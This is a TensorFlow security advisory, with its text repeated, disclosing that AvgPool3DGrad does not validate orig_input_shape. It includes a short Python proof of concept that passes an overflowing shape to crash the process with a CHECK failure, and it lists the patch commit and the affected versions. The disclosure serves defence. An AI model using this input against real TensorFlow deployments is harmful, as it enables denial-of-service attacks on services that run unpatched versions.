Impact
The implementation of AvgPool3DGradOp does not fully validate the input orig_input_shape. This results in an overflow that results in a CHECK failure which can be used to trigger a denial of service attack:
import tensorflow as tf
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"
data_format = "NDHWC"
orig_input_shape = tf.constant(1879048192, shape=[5], dtype=tf.int32)
grad = tf.constant(1, shape=[1,3,2,4,2], dtype=tf.float32)
tf.raw_ops.AvgPool3DGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)
Patches
We have patched the issue in GitHub commit 9178ac9d6389bdc54638ab913ea0e419234d14eb.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
References
Impact
The implementation of
AvgPool3DGradOpdoes not fully validate the inputorig_input_shape. This results in an overflow that results in aCHECKfailure which can be used to trigger a denial of service attack:Patches
We have patched the issue in GitHub commit 9178ac9d6389bdc54638ab913ea0e419234d14eb.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
References